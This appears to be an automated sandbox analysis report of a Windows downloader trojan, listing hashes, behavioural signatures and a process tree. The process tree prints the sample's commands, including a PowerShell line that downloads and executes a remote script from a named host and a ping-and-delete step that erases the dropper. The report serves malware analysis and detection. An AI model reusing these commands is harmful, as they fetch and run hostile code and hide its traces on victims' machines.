Analysis
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max time kernel
143s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
15-09-2023 15:40
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
Resource
win7-20230831-en
General
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Target
SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe
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Size
247KB
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MD5
f17afa21e88b7a362db5ae8fdfa43de9
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SHA1
14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
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SHA256
c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
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SHA512
efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
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SSDEEP
3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+
Malware Config
Extracted
https://aszfiltration.com/storage/files/debug2.ps1
Signatures
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Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 20 3456 powershell.exe 27 3456 powershell.exe 34 3456 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Control Panel\International\Geo\Nation SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3456 powershell.exe 3456 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3456 powershell.exe -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.execmd.execmd.exedescription pid process target process PID 3480 wrote to memory of 4300 3480 SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe cmd.exe PID 3480 wrote to memory of 4300 3480 SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe cmd.exe PID 4300 wrote to memory of 3456 4300 cmd.exe powershell.exe PID 4300 wrote to memory of 3456 4300 cmd.exe powershell.exe PID 3480 wrote to memory of 1044 3480 SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe cmd.exe PID 3480 wrote to memory of 1044 3480 SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe cmd.exe PID 3480 wrote to memory of 1044 3480 SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe cmd.exe PID 1044 wrote to memory of 1596 1044 cmd.exe PING.EXE PID 1044 wrote to memory of 1596 1044 cmd.exe PING.EXE PID 1044 wrote to memory of 1596 1044 cmd.exe PING.EXE
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"2⤵
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3456 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.58708.31306.743.exe" >> NUL2⤵
- Suspicious use of WriteProcessMemory
PID:1044 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
PID:1596
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hb4eb01s.x1p.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/3456-5-0x000001D8334A0000-0x000001D8334C2000-memory.dmpFilesize
136KB
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memory/3456-10-0x00007FFA7C360000-0x00007FFA7CE21000-memory.dmpFilesize
10.8MB
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memory/3456-11-0x000001D8195D0000-0x000001D8195E0000-memory.dmpFilesize
64KB
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memory/3456-12-0x000001D8195D0000-0x000001D8195E0000-memory.dmpFilesize
64KB
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memory/3456-13-0x000001D8195D0000-0x000001D8195E0000-memory.dmpFilesize
64KB
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memory/3456-20-0x000001D833BA0000-0x000001D833BB4000-memory.dmpFilesize
80KB
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memory/3456-21-0x000001D833D00000-0x000001D833D1C000-memory.dmpFilesize
112KB
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memory/3456-22-0x000001D833D90000-0x000001D833DE0000-memory.dmpFilesize
320KB
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memory/3456-74-0x00007FFA7C360000-0x00007FFA7CE21000-memory.dmpFilesize
10.8MB
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memory/3456-75-0x000001D8195D0000-0x000001D8195E0000-memory.dmpFilesize
64KB
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memory/3456-76-0x000001D8195D0000-0x000001D8195E0000-memory.dmpFilesize
64KB
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memory/3456-83-0x000001D8195D0000-0x000001D8195E0000-memory.dmpFilesize
64KB
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memory/3456-85-0x00007FFA7C360000-0x00007FFA7CE21000-memory.dmpFilesize
10.8MB